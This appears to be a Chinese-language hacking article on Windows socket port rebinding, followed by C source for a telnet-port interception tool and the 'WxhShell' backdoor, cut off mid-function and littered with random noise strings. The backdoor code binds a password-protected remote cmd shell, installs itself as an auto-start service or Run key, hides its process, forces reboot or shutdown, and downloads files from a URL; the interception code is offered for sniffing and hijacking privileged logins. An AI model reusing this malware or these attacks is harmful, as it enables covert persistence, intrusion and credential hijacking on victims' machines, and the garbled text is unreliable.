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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n(`|:h" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BO WOH A"z9t#dv@ saddr.sin_family = AF_INET; Nz}PcWF/ 7Ie=(x8): saddr.sin_addr.s_addr = htonl(INADDR_ANY); t3h ){jZ ac\( [F- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }[R-)M Ra"hdxH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :a^/&LbLm #; f50j!r 这意味着什么?意味着可以进行如下的攻击: {PR "}x OJd/#KFm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }'*6 A =t`cHs29 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a|jZg Ch\__t*v! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #IJeq0TVB \Hdsy="Dnh 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Q'qX`K+@` ?(n v_O 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z #T Z/dhp0k 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i4]oE&G [(gXjt- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LM+d3|gSV NJ]3qH #include xK_oV+ #include R8_I ASs #include i(_A;TT6 #include E7M_R/7@y DWORD WINAPI ClientThread(LPVOID lpParam); %~y>9K int main() !-.GfI:q {
EY:IwDA.} WORD wVersionRequested; yYaoA/0 DWORD ret; 78Du WSADATA wsaData; J/O{x BOOL val; i")0 3b SOCKADDR_IN saddr; fvcS=nRQv SOCKADDR_IN scaddr; P#,;)HF int err; dI&Q5M8 SOCKET s; 1`YU9? SOCKET sc; Z %Ozzp/ int caddsize; hHGuD2% HANDLE mt; L,[Q{:C S DWORD tid; ]8}51y8 wVersionRequested = MAKEWORD( 2, 2 ); bMGn&6QiP[ err = WSAStartup( wVersionRequested, &wsaData ); GB35o uE if ( err != 0 ) { b>Y{,`E3 printf("error!WSAStartup failed!\n"); R(`:~@3\6 return -1; ;AE-=/< } TS#[[^!S saddr.sin_family = AF_INET; :8!RGtn 5nUJ9sqA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pF4Z4?W u8]FJQ*\6+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0/b
_T saddr.sin_port = htons(23); h%krA<G9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LP=j/qf| { Ps74SoD- printf("error!socket failed!\n"); An$2='=/ return -1; xC,x_:R` } gf1+yJ^d! val = TRUE; \ l#eW
x //SO_REUSEADDR选项就是可以实现端口重绑定的 mL=d EQ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G$>QH-p { nuXL{tg6 printf("error!setsockopt failed!\n"); 0]kKF<s return -1; D%abBE1 } USEb} M` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iN[x
*A|h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oojl"j4
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y.\x.Hg 2S{P(B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1^4:l!0D { )](ls@* ret=GetLastError(); })H d]a printf("error!bind failed!\n"); !:^q_q4 return -1; t/\ } .VCY|KZ listen(s,2); pA~}_ while(1) jYFJk&c { [/CGV8+ caddsize = sizeof(scaddr); l! F$V;R //接受连接请求 mK[Z#obc= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;^5k_\ if(sc!=INVALID_SOCKET) du66a+@t { [mA-sl] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y%SxQA+\ if(mt==NULL) MLu!8dgI { d_,5;M^k printf("Thread Creat Failed!\n"); Zd6ik&S
break; d )O^(y1r } -GAF> } (Jk&U8y CloseHandle(mt); [OW <<6 } TI4Hu,rc closesocket(s); ?vFy3 WSACleanup(); Lwr's'ao. return 0; #$I@V4O;# } WVdV:vJ- DWORD WINAPI ClientThread(LPVOID lpParam) 9{*{Ba { P.'.KZJ:WD SOCKET ss = (SOCKET)lpParam; STp9Gh- SOCKET sc; L~Gr,i unsigned char buf[4096]; #i[:oC6m: SOCKADDR_IN saddr; H#~gx_^U long num; "lI-/G DWORD val; zuV%`n DWORD ret; v;x0=I&% //如果是隐藏端口应用的话,可以在此处加一些判断 H~a
~'tm //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 jYHn J}< saddr.sin_family = AF_INET; \8 `7E1d saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #ES[),+|mB saddr.sin_port = htons(23); !6KX^j- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/MGapmqV9 { bj
pruJ`= printf("error!socket failed!\n"); @>)VQf8s1 return -1; 566!T_ } _MBhwNBxZ val = 100; eV[{c %wN: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;6W ]f([ { N1a]y/
ret = GetLastError(); gV2vwe return -1; m+<&NDj. } Mu\V3`j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x]{P.7IO' { ppyy0E^M ret = GetLastError(); rwRZGd *p return -1; U.e!:f4{ } c/|{yp$Ga> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *;fTiL { x+X@&S printf("error!socket connect failed!\n"); r#sg5aS7O| closesocket(sc); n<.7tr0f\ closesocket(ss); 9/k2zXY return -1; KD kGQh#9 } uNN/o}Qx while(1) :_8K8Sa { g3:@90Ba //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iWs6 !s! //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;6G]~}>o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6}^x#9\ num = recv(ss,buf,4096,0); sL$sj|" S if(num>0) ]9oj,k send(sc,buf,num,0); >C0B!MT?3% else if(num==0) _3`GZeGV break; Jt_=aMY:7 num = recv(sc,buf,4096,0); Dvg' if(num>0) >w3C
Ku< send(ss,buf,num,0); h4hAzFQ.s else if(num==0) T3wTMbZ!VK break; h/Mt<5 } _Xf1FzF+a closesocket(ss); Y&6jFT_ closesocket(sc); `% 9Y)a/e return 0 ; G\sx'#Whc } 2{ F-@}= y\FQt];z) :'[?/<iTg ========================================================== 1=5"j]0hY O*u
下边附上一个代码,,WXhSHELL K*@?BE k79OMf<v ========================================================== YWIA(p8Qkk v;(cJ,l #include "stdafx.h" )G2Bx+Z;L $DDO9 #include <stdio.h> ([8*Py| #include <string.h> x6/u+Urn #include <windows.h> v}DNeIh~ #include <winsock2.h> >WZ.Dj0n #include <winsvc.h> Ku[q#_7 #include <urlmon.h> -M{szH (Y~/9a4X #pragma comment (lib, "Ws2_32.lib") #un'?]tZF #pragma comment (lib, "urlmon.lib") +3))G L1kn="5 #define MAX_USER 100 // 最大客户端连接数 5RT#H0/+ #define BUF_SOCK 200 // sock buffer {QEvc #define KEY_BUFF 255 // 输入 buffer 3o rSk =c6d$ #define REBOOT 0 // 重启 3~sV- #define SHUTDOWN 1 // 关机 q,[;AHb !!.@F;]W #define DEF_PORT 5000 // 监听端口 .U{}N%S 8$uq60JK #define REG_LEN 16 // 注册表键长度 )v(rEY #define SVC_LEN 80 // NT服务名长度 ,zjz "7' "smU5 s,P // 从dll定义API ub?dfS9$_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R&!;(k0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;1~ n|IY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T>'w]wi typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O]IAIM Ja1 `S+ // wxhshell配置信息 myo4`oH struct WSCFG { HL{aqT2 int ws_port; // 监听端口 Yv1yRoDv char ws_passstr[REG_LEN]; // 口令 X}GX6qAdt int ws_autoins; // 安装标记, 1=yes 0=no r;@0F char ws_regname[REG_LEN]; // 注册表键名 >FeCa
hFn char ws_svcname[REG_LEN]; // 服务名 N!7?D'y
char ws_svcdisp[SVC_LEN]; // 服务显示名 U/Cc!WXV] char ws_svcdesc[SVC_LEN]; // 服务描述信息 W2<'b05 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2H;#L`Z* int ws_downexe; // 下载执行标记, 1=yes 0=no O}C*weU char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" \>\ERVEd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7b~uU@L` h7eb/xEto }; hGKQK
^bn J[}j8x?r // default Wxhshell configuration KEy8EB struct WSCFG wscfg={DEF_PORT, 2?qT,pN "xuhuanlingzhe", W
/v
&V# 1, vAP1PQX; "Wxhshell", z$QoMq] "Wxhshell", {JdXn "WxhShell Service", }#<Rs "Wrsky Windows CmdShell Service", kP5I+B "Please Input Your Password: ", )W_akUL 1, e>_a
( " http://www.wrsky.com/wxhshell.exe", #y&5pP:@ "Wxhshell.exe" ~APS_iG[ }; ,]t_9B QK ?yG[VW // 消息定义模块 Swf%WuDj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J<0sT=/2$ char *msg_ws_prompt="\n\r? for help\n\r#>"; `)$G}7cRUH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; g\B ?
|% char *msg_ws_ext="\n\rExit."; E
6#/@C, char *msg_ws_end="\n\rQuit."; U
`lp56 char *msg_ws_boot="\n\rReboot..."; a?ete9Q+ char *msg_ws_poff="\n\rShutdown..."; 1Y"9<ry char *msg_ws_down="\n\rSave to "; _|; d
D mY=sh{ir char *msg_ws_err="\n\rErr!"; C`ZU.|R char *msg_ws_ok="\n\rOK!"; mCn:{G8+ 8@doKOA~T char ExeFile[MAX_PATH]; "kFNOyj3\ int nUser = 0; qQfNT. HANDLE handles[MAX_USER]; O:'qwJ#~ int OsIsNt; ?}KD<R pq_U?_5Z'r SERVICE_STATUS serviceStatus; [zl4"|_` SERVICE_STATUS_HANDLE hServiceStatusHandle; 4YY!oDN: 97HI9R // 函数声明 K/(QR_@? int Install(void); W2%@}IDm int Uninstall(void); 8_wh9 int DownloadFile(char *sURL, SOCKET wsh); k{{
Y2B?C int Boot(int flag); |oOAy void HideProc(void); Sz|kXk6&9 int GetOsVer(void); }T PyHq" int Wxhshell(SOCKET wsl); 'pUJREb void TalkWithClient(void *cs); #Mk3cp^Yl int CmdShell(SOCKET sock); :^paI int StartFromService(void); !ni
1 qM int StartWxhshell(LPSTR lpCmdLine); KL!cPnAUu CL`+\
. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )zy;! VOID WINAPI NTServiceHandler( DWORD fdwControl ); [CI0N
I6F z&c} // 数据结构和表定义 # bjK]+ SERVICE_TABLE_ENTRY DispatchTable[] = 2&pE { )n<p_vz {wscfg.ws_svcname, NTServiceMain}, BK)<~I {NULL, NULL} LRaO}-<b }; GJ`._ju V60"j( // 自我安装 +BO kHXk1 int Install(void) =[:E { g[O char svExeFile[MAX_PATH]; FjizPg/|! HKEY key; B1Pi+-t strcpy(svExeFile,ExeFile); @*|UyK. ~K5A$s2 // 如果是win9x系统,修改注册表设为自启动 MSBrI3MqQ if(!OsIsNt) { R'vNJDFY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hi(e%da RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Vlx: RegCloseKey(key); v:Gy>& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B#`'h~(7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2yFT` 5+H4 RegCloseKey(key); AEx VKy return 0; }/\`'LQ } _OJfd } ,B_tAg4~ } F?jD5M08t/ else { &PApO{#Q Tb;,t=;u // 如果是NT以上系统,安装为系统服务 r|]YS6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); av5a2r0W1 if (schSCManager!=0) zN;P_@U { ]t&^o** SC_HANDLE schService = CreateService 9@IL5 47V ( Ahbh,U schSCManager, ]
>w@@A wscfg.ws_svcname, Q {~$7J wscfg.ws_svcdisp, /s+IstW SERVICE_ALL_ACCESS, /:{4,aX2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4^YE*6z SERVICE_AUTO_START, a9 q:e SERVICE_ERROR_NORMAL, (C
uM*- svExeFile, Fv)E:PnKC NULL, IC8%E3 NULL, 5D<ZtsXE NULL, ? EHheZ{ NULL, <s\ZqL$f NULL ~#P]NWW%. ); L AA(2 if (schService!=0) ]xoG{%vgb { <I2ENo5? CloseServiceHandle(schService); imzPVGCD{ CloseServiceHandle(schSCManager); ."O%pL]!/b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l\Ww^ strcat(svExeFile,wscfg.ws_svcname); v.4G>0 0^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h<>yzr3fN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vGPsjxk& RegCloseKey(key); r_,;[+! return 0; 7hu7rWY`E } a]%sks } 9iM%kY#)W CloseServiceHandle(schSCManager); RP+)sCh } >KdV]!H } _/%,cYVc8! <-N2<sl return 1; 0b
n%L~KU } b5
NlL`g gJ9"$fIPc // 自我卸载 @^.W|Zh[& int Uninstall(void) ,d* hhe
{ wsH _pF HKEY key; ~LOE^6C+~o liLhvcd if(!OsIsNt) { y5O &9Ckw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W\w#}kY RegDeleteValue(key,wscfg.ws_regname); 5F
^VvzNn RegCloseKey(key); kQ lwl9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aH@-"Wi RegDeleteValue(key,wscfg.ws_regname); gVR]z9 RegCloseKey(key); jf)l; \u return 0; "8cI]~V } <;~u@^> } dkCUU } Fzt?M else { xh9$ZavB* )
< U9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q-_!&kDK" if (schSCManager!=0) kmt1vV.9 { K5XW&|tY! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |Nj6RB7 if (schService!=0) T{f$S { .PR+_a-X if(DeleteService(schService)!=0) { /T(9:1/G CloseServiceHandle(schService); Ov?J"B'F CloseServiceHandle(schSCManager); udLI AV* return 0; p)?6#~9$ } m9i/rK_ CloseServiceHandle(schService); YC56]Zp } 66" 6> CloseServiceHandle(schSCManager); E0&d*BI2 } R(VOHFvW6 } n;N79`mZC &TA{US3~ return 1; vPz7*w } 6Xm'^T c-Yd> 4+1 // 从指定url下载文件 IVxZ.5:L$ int DownloadFile(char *sURL, SOCKET wsh) ~eoM
2XlW { "opMS/a"7 HRESULT hr; ArNQ}F/ char seps[]= "/"; ,#&7+e!]>P char *token; Q1?*+] char *file; B,w
ZI4oi* char myURL[MAX_PATH]; L*A-&9.p3 char myFILE[MAX_PATH]; nR*'
3 fC*cqc~{@ strcpy(myURL,sURL); X~JP
1 token=strtok(myURL,seps); *tEqu%N1' while(token!=NULL) \y=oZk4 { 3)\fZYu) file=token; NM![WvtjW token=strtok(NULL,seps); 5h6o} } uXh:/KO KAFR.h:p9 GetCurrentDirectory(MAX_PATH,myFILE); mJ k\$/Kh strcat(myFILE, "\\"); *pS 7,Hm strcat(myFILE, file); u YT$$'S send(wsh,myFILE,strlen(myFILE),0); K SOD( send(wsh,"...",3,0); tZKw(<am hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ozRTY9S
_; if(hr==S_OK) @CL#B98jl return 0; Dpw*m.f else l$/lbwi% return 1; Im/tU6ybV Em@:QmEN } ~S\L(B( n%J=!z3 // 系统电源模块 jj2\;b:a0 int Boot(int flag) x}?<9(nE c { lYQ|NL(): HANDLE hToken; G,|!&=Pe|E TOKEN_PRIVILEGES tkp; Ws@'2i\; &gY) x{ if(OsIsNt) { X4!7/& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tULGfvp LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F1L[3D^- tkp.PrivilegeCount = 1; {a:05Y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =ZIT!B?4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `/P/2{,~ if(flag==REBOOT) { E3wL n/< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f;zNNx<
; return 0; 71c[`h*0{ } jBw)8~tYm else { J}X{8Ds9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ytlzn% return 0; TD}<U8I8_ } +)j ll#}? } +ZOiL[rS else { 8v& \F if(flag==REBOOT) { Kg$RT?q-C6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5h#h>0F return 0; cu0IFNF}[ } f` uRC-B/ else { \7/yWd{N$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2Kz+COP+ return 0; ==5F[UX } 'cXdc } l:!L+t*}6 L9D`hefz return 1; [!A[oK9i C } EbQLMLD% MCT1ZZpPr // win9x进程隐藏模块 r<e%;S void HideProc(void) b]+F/@h~] { y!77gx?- Z nc(Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -[V-f> : if ( hKernel != NULL ) EMW6' { KT(Z
#$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \j>7x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i/ilG3m> FreeLibrary(hKernel); WKEb
'^ } 7w/IHM L u#E'k
KGO return; vjGQ! xF } WVbrbs4 RwWg:4 // 获取操作系统版本 .gRj^pu
int GetOsVer(void) $RPW/Lyiq { RP&bb{Y OSVERSIONINFO winfo; `a& kD|Yh winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;<AcW.jx GetVersionEx(&winfo); Iry$z^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R2~Tr$: return 1; +$,Re.WnP else pE4a ~: return 0; DmiBM6t3N } qos7u91z >1~
/:DJ // 客户端句柄模块 $1an#~ int Wxhshell(SOCKET wsl) g>@JGzMLP { ??rS h Mu SOCKET wsh; !+T1kMP+l struct sockaddr_in client; C9n%!()> DWORD myID; Tu#< {'1$ 'YNaLZ20 while(nUser<MAX_USER) ,^#Jw`w^ { g{65 QP int nSize=sizeof(client); j9+$hu#a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p
T(M>LP83 if(wsh==INVALID_SOCKET) return 1; :gh[BeqQ) gb ga"WO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :]^e-p!z if(handles[nUser]==0) "ZuuSi closesocket(wsh); %qP[+N& else -u2i"I730 nUser++; 5'~_d@M } g`7XE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >H2`4]4] ~Iu! B
Y return 0; yB*,)x0
@ } k_al*iM>H 1j<(?MT- // 关闭 socket rl*O-S/ void CloseIt(SOCKET wsh) E9HMhUe { 6OES'3 Cy closesocket(wsh); <B"sp r&1 nUser--; 'X`Z1L/ ExitThread(0); tZrc4$D- } /:&!o2&1H b'H'QY
// 客户端请求句柄 |?` 5 ~f void TalkWithClient(void *cs) 3^ Yc% { XpQ Ol DDg\oGLp SOCKET wsh=(SOCKET)cs; l\HdB"nT char pwd[SVC_LEN]; `BPTcL<W char cmd[KEY_BUFF]; ]T4/dk&|o^ char chr[1]; 'Ts:. int i,j; Qw5nfg3T {|+Y;V` while (nUser < MAX_USER) { '=\}dav! NWBYpGZx if(wscfg.ws_passstr) { ${+u-Wfau if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J~Xv R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^rkKE
dd //ZeroMemory(pwd,KEY_BUFF); 092t6D} i=0; vh9* >[i while(i<SVC_LEN) { AKNx~!%2 INZVe(z // 设置超时 QFyL2Xes/ fd_set FdRead; c}x1-d8 struct timeval TimeOut; weitDr6 FD_ZERO(&FdRead); I$Nh|eM FD_SET(wsh,&FdRead); bQAznd0 TimeOut.tv_sec=8; i%glQT TimeOut.tv_usec=0; /'O8RUjN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p|4qkJK8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 30Yis_l2h B{-7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TQ
Vk;&A pwd =chr[0]; R;& >PFmq if(chr[0]==0xd || chr[0]==0xa) { o9?@jjqH pwd=0; I-7LT?r break; T X`X5j } 7\u+%i;YZ i++; =bC
+1
C } ZSMed(//b 7*'/E#M // 如果是非法用户,关闭 socket Rd?}<L if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LHAlXo; } &dtk&P{ s>rR\` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4DXbeQs: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^\)a[OWp OfsP5*d while(1) { #F*|@ bP,<^zA|X ZeroMemory(cmd,KEY_BUFF); 3KLUH=)P -@uFRQt // 自动支持客户端 telnet标准 gjF5~
` j=0; [;E%o^/^ while(j<KEY_BUFF) { TFVQfj$r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ur j*V0^ cmd[j]=chr[0]; X/]@EF if(chr[0]==0xa || chr[0]==0xd) { l }{{7~C` cmd[j]=0; O9gq <d break; fJ,N.O+9E } ^s,3*cAU j++; HN47/]"* } }ze+ tf +,Dc0VC? // 下载文件 f*ZU a if(strstr(cmd,"http://")) { &9k~\;x send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^<]'?4m] if(DownloadFile(cmd,wsh)) aCQtE,. send(wsh,msg_ws_err,strlen(msg_ws_err),0); +qxPUfN else ^Fk;t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?}||?2=P } Re%[t9F& else { e~h>b.~ 91
jRIB switch(cmd[0]) { t2&kGf" +^I0>\ // 帮助 ^5 >e case '?': { *7Dba5B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 337.' |ZE break; FU|brSt } dQut8>0& // 安装 ];r!
M0 case 'i': { Tw~R-SiS`s if(Install()) h!"2Ux3!x send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xj?Wvt else ,"qCz[aDN1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #86N
!&x break; #ydold{F } 7KT*p&xm // 卸载 Pz]WT1J0 case 'r': { o7y<Zd`Bj if(Uninstall()) 0'q4=!l send(wsh,msg_ws_err,strlen(msg_ws_err),0); vz^ ] g else PjQl(v&O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D(cD8fn,J break; J,a&"eOZ } ",r
v%i2 f // 显示 wxhshell 所在路径 j*=!M# D case 'p': { tZxx#v` char svExeFile[MAX_PATH]; , c.^"5 strcpy(svExeFile,"\n\r"); egmUUuO strcat(svExeFile,ExeFile); uH_KOiF send(wsh,svExeFile,strlen(svExeFile),0); >OG189O break; Sn:>|y~ } I2}W /} // 重启 B5\l&4X case 'b': { m l`xLZN>L send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F)P:lvp<r if(Boot(REBOOT)) z*3b2nV send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6]4~]! else { iUKjCq02 closesocket(wsh); ET*A0rt ExitThread(0); ]l7W5$26 @ } DR"Y(-xl break; 1N5
E } M-WSdG[AJ // 关机 /4{WT?j case 'd': { ,@"yr>Q9#6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9~p;iiKGG if(Boot(SHUTDOWN)) (6,:X send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2:LUB)&i else { F`}'^> closesocket(wsh); [d`Jw/4n ExitThread(0); |$.?(FZYu } h'ik3mLH break; -:}vf? } X[z;P!U // 获取shell "$BkO[IS case 's': { |N,^*xP(6 CmdShell(wsh); 1eXMMZ/? closesocket(wsh); 0 '&C5v' ExitThread(0); *h^->+0n break; hvt]VC]] } v[CR$@Y // 退出 0%xk tf case 'x': { hV3]1E21" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _/[qBe CloseIt(wsh); bR`5g break; -]%EX:bm } %<i sdvF // 离开 Aez2n(yac case 'q': { 01Jav~WR send(wsh,msg_ws_end,strlen(msg_ws_end),0); l|g*E.:4 closesocket(wsh); lp*5;Ls'q WSACleanup(); z$<=8ox8e exit(1); K#FD$,c~ break; v]JET9hY } ~B<\#oO } a-5UG#o } Z<U,]iZB QW..=}pL // 提示信息 R ENCk( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 97c0bgI!+ } jMT[+f }
ff9m_P 5{H)r return; W83d$4\d } HB9"T5Pd* AFt- V // shell模块句柄 t/i*.>7 int CmdShell(SOCKET sock) b~;:[ #
{ I!zoo[/)% STARTUPINFO si; GEPWb[Oa ZeroMemory(&si,sizeof(si)); }#zL)+XI si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^P^"t^O si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V7$ m.P#uM PROCESS_INFORMATION ProcessInfo; 5N9Cd[4 char cmdline[]="cmd"; Fd8nR9A CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f:j:L79} return 0; e`Yj}i*bx] } U=v>gNba eKP>}` // 自身启动模式 |\bNFnn( int StartFromService(void) nS#F*) { |E13W typedef struct Dw=L]i
:0v { N\|B06X DWORD ExitStatus; R0M>'V?e DWORD PebBaseAddress; $#^3>u DWORD AffinityMask; 8] LF{Obz[ DWORD BasePriority; g.\b@0Uy' ULONG UniqueProcessId; U& GPede ULONG InheritedFromUniqueProcessId; f y|JE9Io_ } PROCESS_BASIC_INFORMATION; uVYn,DB` mjOxmwo PROCNTQSIP NtQueryInformationProcess; HX.K{!5 c |%5SA static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tp ;W static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J5b3r1~D"[ Y1o[|ytW HANDLE hProcess; <mX5VGY9^ PROCESS_BASIC_INFORMATION pbi; UAjN ,):aU HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I/'>MDB! if(NULL == hInst ) return 0; U["<f`z4\ :] Wn26z) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JKKp5~_~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 